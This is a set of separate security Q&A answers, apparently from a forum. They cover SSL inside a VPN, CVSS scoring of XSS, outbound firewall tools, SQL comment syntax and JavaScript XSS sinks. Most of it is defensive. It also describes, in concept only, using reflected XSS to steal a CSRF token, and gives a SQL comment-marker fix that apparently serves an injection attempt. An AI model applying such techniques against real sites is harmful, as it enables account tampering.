But the VPN will not do anything against attackers who are already inside the VPN. Your desktop system is in the VPN; so is the server you are talking to. But there may be other machines as well. In fact, it is typical, in enterprise contexts, that all remote employees join the VPN, which will therefore contain many people as well as a bunch of corporate servers, and other systems of questionable security (e.g. printers).

Another point is that the VPN is between machines. In the "mainframe model", a given machine may run process from distinct users, with distinct rights. With SSL, the security is from one specific process on the client machine, to one specific process on the server. Even if the VPN uses authentication, it would be inconvenient for the client to get some accurate information on the identity of the server, and vice versa, because the VPN authentication is not made available to the individual process on the involved machines.

Therefore, in the presence of a VPN, SSL is redundant only if all the following characteristics are met:

the VPN provides confidentiality and integrity as well as SSL would (i.e. with correctly used cryptography);
all machines which may connect to the VPN are trusted;
authentication can be delegated to the VPN layer.

If unsure, use SSL and consider the network as hostile. This is the safe way.


Why is XSS scored with partial impact to integrity in CVSS V2?

Example for impact on integrity:
Say, there is a profile update page which has CSRF token implemented , but reflected XSS is also present. Now you can steal this token with the help of XSS and you can cause unwanted changes in the profile of the victim. Here is the article for your reference.

Many of the XSS vulnerabilities were marked with PARTIAL impact because in CVSS v2, only target host should be considered for calculating the impact. XSS is a vulnerability which affects the browser of the victim also and cause more damage to the victim's machine.

This is improved upon in CVSS version 3 which states:

  Whether a successfully exploited vulnerability affects one or more
  components, the impact metrics are scored according to the component
  that suffers the worst outcome that is most directly and predictably
  associated with a successful attack.


How to monitor and manage ALL internet network activity

Outgoing firewalls that seek user-space confirmation are very effective at limiting the damage that malicious software can inflict if it gains a 'toe-hold'.
On Android, one such tool is called NetGuard. It works by installing itself as a VPN, which forces the Android OS to route all packets via its code. (It does it this way so that the user doesn't require root or su.) So, not a VPN per se, but using the VPN function of the host operating system to achieve the goal. If you're using this software, you won't be able to have a genuine VPN running - alternatively, a tool called AFWall exists but this requires su as it modifies the iptables ruleset(s) for applications.
Regardless of how the packets are intercepted, either of these tools check the outgoing connection to determine whether the user has previously configured any rules for network access, or whether the application has changed. If no definitive answer is available to the software it will prompt the user, or place the request in an 'ambiguous' queue for the user to handle.
On Windows other tools exist to provide similar function, one such that I've used is called Comodo, which is a free but closed-source solution. (Please feel free to edit or comment if you know of any open source solutions - edit: can Windows Firewall do this already? Brinkmann, 2016)
On Linux there is no GUI solution that I know of that will provide this functionality. Instead, you must use the isolation functions provided by the kernel, eg. block general access to the network, then create a bridge interface, allow access to the bridge to a particular context, and then place applications that you trust within that context so they might access the bridge and the internet. At this point, you might wish to apply additional filters and rules using the iptables (or gufw/ ufw rules-interfaces). More on bridges.
Another alternative is to use a tool called firejail, however, this will only block programs that are launched with isolation. It relies on modifications to your bin directories to place a link with the same name as common applications' processes to instead point to the firejail binary. This can be circumvented trivially.
It may be possibe to run Android in a Linux container, configured  to quarantine browser/ email/ etal. using AFWall, and otherwise, configuring Linux to prevent direct internet access in the manner described previously.
This answer discusses another possible solution called Douane but I have no experience with this tool.
In most of these cases you still need to configure interfaces in the kernel to limit all other activity, limiting only programs with access to the bridge, or virtual network interface, to connect to the internet.
I'm aware of a tool provided by a VPN service (Mullvad) which has an option to force all packets through the VPN tunnel. I don't know how it does this, but I suspect it uses a similar method. Feel free to comment or edit to explain this functionality.


You are missing a space after your comment marker.

  From a '-- ' to the end of a line. The space after the two dashes is required (as in MySQL).

Comment syntax


Is comparing unsanitized user input enough to be vulnerable to XSS?

Your code looks fine, and it's not exploitable.

A JavaScript string just contains, well, a string of letters. Sometimes those letters form a piece of code. That is not dangerous in itself, as JavaScript only treats it as a collection of letters most of the time, e.g. when you do string comparison.

For it to open up a XSS vulnerability, something must execute the code. There are two ways that can happend:

If you give the variable as input to a function that executes string as code. The main one here is eval, but there is also new Function, setTimeout and setInterval.
If you put the string into the DOM, e.g. using innerHTML.

As long as you stay away from those two, the code will not be executed.